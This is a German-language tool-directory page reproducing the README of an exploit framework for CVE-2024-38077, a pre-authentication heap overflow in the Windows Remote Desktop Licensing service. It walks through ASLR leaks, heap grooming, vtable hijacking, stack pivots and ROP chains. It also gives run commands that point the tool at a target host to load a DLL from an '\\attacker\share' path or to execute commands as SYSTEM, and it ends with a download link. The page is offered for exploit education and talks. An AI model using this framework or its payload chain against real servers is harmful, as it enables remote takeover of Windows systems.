Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-38077-MadLicense-exploit — Modulares Exploit-Framework für CVE-2024-38077 (Windows RDL Heap Overflow) mit ASLR-Bypass, Heap-Grooming, ROP-Ketten-Generierung und DLL-Injection-Payloads für Pre-Auth Remote Code Execution. | Kitploit
Tools/GitHubGitHub/ermensonx/cve-2024-38077-madlicense-exploit
Exploit-FrameworksSchwachstellenanalyseExploitationReverse EngineeringShellcodePenetrationstestsLernen & BildungPayload-EntwicklungBinary-Exploitation
GitHubermensonx/cve-2024-38077-madlicense-exploit

CVE-2024-38077-MadLicense-exploit

Modulares Exploit-Framework für CVE-2024-38077 (Windows RDL Heap Overflow) mit ASLR-Bypass, Heap-Grooming, ROP-Ketten-Generierung und DLL-Injection-Payloads für Pre-Auth Remote Code Execution.

Repository anzeigen
14vor 8 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-38077 MadLicense - Vollständiges Exploitation-Framework

📚 Technische Dokumentation zur Präsentation

Dieses Dokument erklärt jede Komponente des Frameworks, warum sie existiert und wie die Ausnutzung eines Heap-Buffer-Overflows auf modernem Windows funktioniert.


🎯 Was ist CVE-2024-38077?

Die Schwachstelle

Der Windows Remote Desktop Licensing Service (lserver.exe) enthält einen Heap-Buffer-Overflow in der Funktion CDataCoding::DecodeData.

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  VULNERABILIDADE: Cálculo incorreto de tamanho             │
├─────────────────────────────────────────────────────────────┤
│  1. Cliente envia dados Base64 de tamanho N                │
│  2. Servidor calcula: buffer_size = (N / 4) * 3            │
│  3. Servidor aloca buffer de 'buffer_size' bytes           │
│  4. Decode Base64 REALMENTE escreve: ceil(N * 3/4) bytes   │
│  5. Se N não é múltiplo de 4: OVERFLOW!                    │
└─────────────────────────────────────────────────────────────┘

Konkretes Beispiel:

  • Eingabe: 4001 Bytes
  • Serverberechnung: (4001 / 4) * 3 = 1000 * 3 = 3000 Bytes alloziert
  • Tatsächliches Decoding: ceil(4001 * 0.75) = 3001 Bytes geschrieben
  • Overflow: 1 Byte (aber auf mehr erweiterbar)

Warum ist es kritisch?

  1. Pre-Auth: Keine Anmeldedaten erforderlich
  2. Remote: Über Netzwerk, Port 135 (RPC)
  3. SYSTEM: Der Dienst läuft als NT AUTHORITY\SYSTEM
  4. Verbreitet: Windows Server 2000-2025 betroffen

🏗️ Framework-Architektur

Modulübersicht

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                      EXPLOIT CHAIN                              │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│  LEAK    │  MODEL   │  WRITE   │  GROOM   │ TRIGGER  │ EXECUTE │
│ (ASLR)   │ (Target) │ (Where)  │ (Heap)   │ (Use)    │ (RCE)   │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py  │target_   │write_    │heap_     │trigger   │code_    │
│          │model.py  │primitive │controller│.py       │reuse.py │
│          │          │.py       │.py       │          │         │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
          ↓                                              ↓
    ┌───────────┐                              ┌──────────────┐
    │ execution │                              │   payload    │
    │   .py     │                              │     .py      │
    └───────────┘                              └──────────────┘
          ↓                                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                    mitigations.py                         │
    │              (DEP, ASLR, CFG awareness)                   │
    └───────────────────────────────────────────────────────────┘
                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                      exploit.py                           │
    │                   (Orchestrator)                          │
    └───────────────────────────────────────────────────────────┘

📦 Modul 1: primitives.py - Fundament

Was ist das?

Low-Level-Utilities zur Speichermanipulation.

Warum existiert es?

Exploits benötigen:

  • Konvertierung zwischen Typen (int ↔ bytes)
  • Generierung von Mustern für die Crash-Analyse
  • Korrekte Ausrichtung von Daten

Hauptfunktionen

root@kitploit:~
# Pack/Unpack - Converter inteiros para bytes e vice-versa
p64(0xDEADBEEF)      # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141)      # → b'AAAA'
u64(b'\x41\x42...')  # → 0x... (int)

# Padrão Cíclico - Para identificar offset de crash
cyclic(100)          # Gera sequência De Bruijn
cyclic_find(pattern, value)  # Encontra offset do valor

# Alinhamento - Memória precisa estar alinhada
align(0x1003, 0x10)  # → 0x1010 (alinha para 16 bytes)

Warum ist das wichtig?

Reales Problem: Du verursachst einen Crash und das RIP enthält 0x61616171.

  • Ohne cyclic: „Irgendwo in meinem Buffer ..."
  • Mit cyclic: cyclic_find(pattern, 0x61616171) → exakter Offset!

📦 Modul 2: leak.py - ASLR-Bypass

Was ist ASLR?

Address Space Layout Randomization: Bei jedem Boot/Start ändern sich die Adressen.

root@kitploit:~
Boot 1:  ntdll.dll @ 0x7FFA12340000
Boot 2:  ntdll.dll @ 0x7FFB98760000
Boot 3:  ntdll.dll @ 0x7FFC55550000

Warum brauchen wir einen Leak?

Ohne zu wissen, wo sich der Speicher befindet:

  • Wir wissen nicht, wo wir den Payload platzieren sollen
  • Wir kennen die Adressen der ROP-Gadgets nicht
  • Jeder Versuch = zufälliger Crash

Modulstruktur

root@kitploit:~
class LeakInfo:
    """Container para endereços vazados"""
    heap_base: int         # Base do heap
    ntdll_base: int        # Base do ntdll.dll
    kernel32_base: int     # Base do kernel32.dll
    # ...

class LeakProvider:
    """Orquestrador de fontes de leak"""
    sources: List[LeakSource]
    
    def obtain() -> LeakInfo:
        # Tenta cada fonte até conseguir

Implementierte Leak-Quellen

QuelleFunktionsweiseWann verwenden
ManualLeakSourceBenutzer stellt Adressen bereitLab/Debug mit Zugriff auf das Ziel
ResponseLeakSourceExtrahiert aus RPC-AntwortenWenn der Dienst Zeiger preisgibt
TimingLeakSourceZeitlicher SeitenkanalTheoretisch, sehr schwierig

Warum manuelle Eingabe?

In Demonstrationen/Labs kannst du:

  1. Einen Debugger an das Ziel anhängen
  2. Die Basisadressen der Module ansehen
  3. Über --ntdll-base 0x7ffa... angeben

Das simuliert einen echten Leak und ermöglicht es, den Rest der Kette zu testen.


📦 Modul 3: target_model.py - Ziel-Mapping

Was ist das?

Modellierung der verwundbaren und angrenzenden Datenstrukturen.

Warum existiert es?

Overflow ≠ Exploitation. Wir müssen wissen:

  • Was überschreiben wir?
  • Wie groß ist das Objekt?
  • Welches Feld ist nützlich zu korrumpieren?

Komponenten

root@kitploit:~
class VulnerableBuffer:
    """O buffer que vai sofrer overflow"""
    allocation_size: int   # Quanto foi alocado
    write_size: int        # Quanto será escrito
    overflow_amount: int   # Diferença = overflow
    
    def calculate_overflow(input_size):
        # Simula o bug de cálculo
        alloc = (input_size // 4) * 3
        actual = ((input_size + 3) // 4) * 3
        return alloc, actual, actual - alloc

class AdjacentObject:
    """Objeto que será corrompido (adjacente no heap)"""
    fields: List[StructField]
    has_vtable: bool       # Tem tabela virtual?
    has_function_ptr: bool # Tem ponteiro de função?

Beispiel einer Zielstruktur

root@kitploit:~
# Objeto hipotético baseado em análise reversa
license_req = AdjacentObject(
    name="CLicenseRequest",
    typical_size=0x100,
    has_vtable=True
)

# Campos mapeados
license_req.add_field("vtable",   0x00, 8, VTABLE,   is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)

Warum is_target=True?

Markiert für die Exploitation nützliche Felder:

  • vtable: Wenn wir es überschreiben, kontrollieren wir Methodenaufrufe
  • callback: Wenn wir es überschreiben, kontrollieren wir, wann der Callback aufgerufen wird

📦 Modul 4: write_primitive.py - Kontrolliertes Schreiben

Das Problem

Der Overflow schreibt sequenzielle Daten. Aber wir brauchen:

  • Einen spezifischen Wert schreiben (Adresse unseres ROP)
  • An einem spezifischen Offset (wo sich der vtable-Zeiger befindet)

Die Lösung

root@kitploit:~
class WritePrimitive:
    def build_overflow_data(self) -> bytes:
        """
        Constrói buffer de overflow com valores precisos
        
        Layout:
        [PADDING até offset] [VALOR CONTROLADO] [MAIS DADOS]
        """
        data = bytearray(b"A" * max_offset)
        
        for target in self.targets:
            # Coloca valor exato no offset exato
            data[target.offset:target.offset+8] = p64(target.value)
        
        return bytes(data)

Arten von Overwrites

root@kitploit:~
# Sobrescrever vtable
write_primitive.set_vtable_overwrite(
    vtable_addr=fake_vtable_address,
    obj_name="CLicenseRequest"
)

# Sobrescrever callback
write_primitive.set_callback_overwrite(
    callback_addr=gadget_address
)

Warum reicht es nicht, Müll zu schreiben?

SchreibenErgebnis
AAAA...Crash ohne Kontrolle
Präzise Adresse an präzisem OffsetKontrollierte Ausführung

📦 Modul 5: heap_controller.py - Heap-Grooming

Die Herausforderung des modernen Heaps

Windows verwendet LFH (Low Fragmentation Heap) und Segment Heap:

  • Allokationen sind randomisiert
  • Das Layout ist nicht vorhersehbar
  • Heap-Guards erkennen Korruption

Die Lösung: Grooming

Grooming = Den Heap zu einem deterministischen Layout formen.

root@kitploit:~
ANTES DO GROOMING:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
Alocações aleatórias, buracos imprevisíveis

DEPOIS DO GROOMING:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
Layout controlado, "buracos" onde queremos

Phasen des Groomings

root@kitploit:~
class HeapLayoutController:
    def execute_full_groom(self):
        # Fase 1: Preencher buracos existentes
        self.phase_fill(50)
        
        # Fase 2: Ativar LFH para o bucket alvo
        # (Windows ativa LFH após ~17 alocações do mesmo tamanho)
        self.phase_activate_lfh()
        
        # Fase 3: Spray - criar padrão denso
        sprayed = self.phase_spray(200)
        
        # Fase 4: Criar buracos estratégicos
        # Liberamos a cada N alocações
        self.phase_create_holes(sprayed, interval=4)
        
        # Fase 5: Estabilizar
        self.phase_stabilize()

Warum funktioniert es?

  1. Wir füllen den Heap mit unseren Objekten
  2. Wir erzeugen in regelmäßigen Abständen „Löcher"
  3. Wenn der Server den verwundbaren Buffer alloziert ...
  4. ...hohe Wahrscheinlichkeit, in ein Loch zu fallen
  5. ...angrenzend an ein Objekt von uns, das wir korrumpieren können

📦 Modul 6: trigger.py - Trigger nach der Korruption

Das Problem

Die Korruption ist passiert. Und jetzt?

root@kitploit:~
Estado atual:
- Memória corrompida ✓
- Valor malicioso escrito ✓
- Mas ninguém USOU esse valor ainda!

Die Lösung: Nutzung erzwingen

Wir müssen erreichen, dass das Programm die korrupten Daten liest und verwendet.

root@kitploit:~
class PostCorruptionTrigger:
    strategies: List[TriggerStrategy]
    
# Estratégias implementadas:

class SecondRequestTrigger:
    """Faz segunda chamada RPC que usa objeto corrompido"""
    
class DestructorTrigger:
    """Desconecta - força cleanup que usa ponteiros corrompidos"""
    
class TimerTrigger:
    """Espera timer interno processar estado corrompido"""

Typischer Ablauf

  1. Erster RPC-Aufruf → Korruption passiert
  2. Disconnect (Trigger) → Der Server ruft den Destruktor auf
  3. Der Destruktor liest die korrupte vtable → Ruft unsere Adresse auf
  4. Kontrollierte Ausführung!

📦 Modul 7: execution.py - Flusskontrolle

Das Ziel: RIP/RIP-Hijacking

RIP (x64) oder EIP (x86) = Instruction Pointer

Wenn wir den Instruction Pointer kontrollieren, kontrollieren wir die Ausführung.

Hijacking-Methoden

root@kitploit:~
class HijackMethod(Enum):
    VTABLE = 0       # Mais comum em heap overflow
    FUNCTION_PTR = 1 # Callback pointer
    RETURN_ADDR = 2  # Stack overflow (não é nosso caso)

Vtable-Hijacking erklärt

root@kitploit:~
OBJETO NORMAL:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ method1 address  │ ← Legítimo
│             │     │ method2 address  │
└─────────────┘     └──────────────────┘

APÓS CORRUPÇÃO:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ GADGET ADDR      │ ← NOSSO!
│             │     │ GADGET ADDR      │
└─────────────┘     └──────────────────┘

Quando method1 é chamado → Executa nosso gadget!

Stack-Pivot

Problem: Der Vtable-Hijack gibt uns EINEN Aufruf. Wir brauchen mehr.

Lösung: Stack-Pivot

root@kitploit:~
# Gadget que troca RSP para onde temos ROP chain
xchg rax, rsp; ret  # RAX = nosso endereço → RSP = nosso endereço

# Agora o "stack" é nossa área controlada!
# Cada RET pulas para próximo gadget do nosso ROP chain

📦 Modul 8: code_reuse.py - ROP-Chains

Warum ROP?

DEP (Data Execution Prevention): Heap und Stack sind NICHT AUSFÜHRBAR.

root@kitploit:~
Shellcode no heap → CRASH (access violation - execute)

Lösung: Vorhandenen Code wiederverwenden

ROP = Return-Oriented Programming

Wir verketten „Gadgets" - kleine Codestücke, die mit RET enden.

root@kitploit:~
GADGET 1: pop rcx; ret    ← Coloca valor em RCX
GADGET 2: pop rdx; ret    ← Coloca valor em RDX
GADGET 3: call LoadLibraryA ← Chama função!

Wie Gadgets verkettet werden

root@kitploit:~
STACK/ROP CHAIN (nossa área controlada):
┌────────────────────┐
│ addr de pop_rcx    │ ← RSP aponta aqui
├────────────────────┤
│ valor para RCX     │ ← Será "popado" para RCX
├────────────────────┤
│ addr de pop_rdx    │ ← RET vai para cá
├────────────────────┤
│ valor para RDX     │
├────────────────────┤
│ addr LoadLibraryA  │ ← Finalmente chama!
└────────────────────┘

Implementierte Chains

root@kitploit:~
# Carregar DLL (DLL Injection)
build_load_library(dll_path_addr) → ROP chain

# Alocar memória executável
build_virtual_alloc(size) → ROP chain + RAX = endereço RWX

# Executar comando
build_winexec(cmd_addr) → ROP chain

📦 Modul 9: payload.py - Semantischer Payload

Unterschied: Daten vs. Absicht

TypBeispielErgebnis
DatenAAAAAA...Crash
AbsichtROP + DLL-PfadDLL geladen

Payload-Typen

root@kitploit:~
class PayloadIntent(Enum):
    CRASH_TEST = 0    # Verificar se exploração funciona
    DLL_INJECT = 1    # Carregar nossa DLL
    COMMAND_EXEC = 2  # Executar comando
    SHELLCODE = 3     # Executar shellcode via ROP

Aufbau eines Payloads für DLL-Injection

root@kitploit:~
def build_dll_inject(dll_path: str) -> bytes:
    """
    Estrutura final:
    
    ┌──────────────────────────────┐
    │ ROP Chain (LoadLibraryA)    │ ← Executa primeiro
    ├──────────────────────────────┤
    │ Padding                      │
    ├──────────────────────────────┤
    │ "\\attacker\share\pay.dll\0"│ ← String do caminho
    └──────────────────────────────┘
    
    O ROP chain passa o endereço da string para LoadLibraryA
    """

📦 Modul 10: mitigations.py - Bewusstsein für Mitigations

Mitigations moderner Windows-Systeme

MitigationFunktionUnser Bypass
DEPHeap/Stack nicht ausführbarROP (Code-Reuse)
ASLRRandomisierte AdressenInfo-Leak
CFGValidiert Call-ZieleGültige Ziele aufrufen, dann Pivot
Stack CookieErkennt Stack-OverflowWir nutzen keinen Stack-Overflow
Heap HardeningGuard Pages usw.Sorgfältiges Grooming

Automatische Anpassung

root@kitploit:~
def adapt_exploit(config):
    if mitigations.DEP.enabled:
        config["use_rop"] = True      # Obrigatório
        
    if mitigations.ASLR.enabled:
        config["require_leak"] = True # Obrigatório
        
    if mitigations.HEAP_HARDENING.enabled:
        config["spray_count"] *= 2    # Mais spray

🔄 Vollständiger Exploitationsablauf

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                    FLUXO DE EXPLORAÇÃO                          │
└─────────────────────────────────────────────────────────────────┘

   STAGE 1: LEAK (ASLR Bypass)
   ├─ Obter endereços de memória
   ├─ Input: manual ou auto-leak
   └─ Output: LeakInfo com bases de módulos

             ↓

   STAGE 2: ANALYZE (Target Mapping)
   ├─ Calcular overflow amount
   ├─ Identificar objetos adjacentes
   └─ Determinar offsets de corrupção

             ↓

   STAGE 3: GROOM (Heap Shaping)
   ├─ Fill → Activate LFH → Spray → Holes
   ├─ Criar layout determinístico
   └─ Preparar "landing zone" para alocação vulnerável

             ↓

   STAGE 4: PAYLOAD (Build)
   ├─ Construir ROP chain
   ├─ Incluir strings/dados necessários
   └─ Combinar com overflow data

             ↓

   STAGE 5: CORRUPT (Trigger Overflow)
   ├─ Enviar chamada RPC maliciosa
   ├─ Causar overflow
   └─ Sobrescrever alvo (vtable/callback)

             ↓

   STAGE 6: TRIGGER (Force Use)
   ├─ Disconnect ou segunda chamada
   ├─ Forçar uso de ponteiro corrompido
   └─ Hijack de execução

             ↓

   STAGE 7: EXECUTE (RCE)
   ├─ ROP chain executa
   ├─ LoadLibraryA carrega DLL
   └─ CÓDIGO ARBITRÁRIO EXECUTANDO!

             ↓

   ┌─────────────────────────────────────────────────────────────┐
   │  RESULTADO: Shell reverso, backdoor, etc. como SYSTEM      │
   └─────────────────────────────────────────────────────────────┘

🚀 Praktische Verwendung

Installation

root@kitploit:~
pip install impacket

Befehle

root@kitploit:~
# Apenas verificar se serviço está rodando
python -m madlicense.poc -t 10.0.0.5 --check

# Dry run (não envia payload, simula tudo)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
    --ntdll-base 0x7ffa12340000

# DLL Injection completo
python -m madlicense.poc -t 10.0.0.5 \
    --dll "\\\\attacker\\share\\payload.dll" \
    --heap-base 0x22345670000 \
    --ntdll-base 0x7ffa12340000 \
    --kernel32-base 0x7ffa12500000

# Executar calc.exe (PoC clássico)
python -m madlicense.poc -t 10.0.0.5 \
    --cmd calc.exe \
    --ntdll-base 0x7ffa12340000

⚠️ Ethische Überlegungen

Dieses Framework ist für:

  • ✅ Autorisierte Sicherheitsforschung
  • ✅ Lehr-Demonstrationen
  • ✅ Tests in kontrollierten Umgebungen
  • ✅ Entwicklung von Mitigations

NICHT für:

  • ❌ Nicht autorisierter Zugriff
  • ❌ Angriffe auf Produktionssysteme
  • ❌ Jegliche illegale Aktivitäten

📚 Referenzen

  1. CVE-2024-38077 - Microsoft Security Advisory
  2. Windows Internals - Mark Russinovich
  3. A Guide to Kernel Exploitation - Enrico Perla
  4. Modern Windows Exploit Development - Corelan Team

🎯 Zusammenfassung für den Talk

Kernsatz:

„Einen Heap-Buffer-Overflow auf modernem Windows auszunutzen ist nicht nur ‚viel schreiben‘. Es ist eine präzise Kette aus leak → groom → corrupt → trigger → execute.“

Die 9 Module:

  1. primitives - Speicherwerkzeuge
  2. leak - ASLR-Bypass
  3. target_model - Das Ziel kennen
  4. write_primitive - Kontrolliertes Schreiben
  5. heap_controller - Heap-Grooming
  6. trigger - Nutzung der Korruption erzwingen
  7. execution - RIP-Hijack
  8. code_reuse - ROP-Chains
  9. mitigations - Bewusstsein für Verteidigungsmechanismen

Ohne eines davon gibt es kein RCE.

Tool herunterladen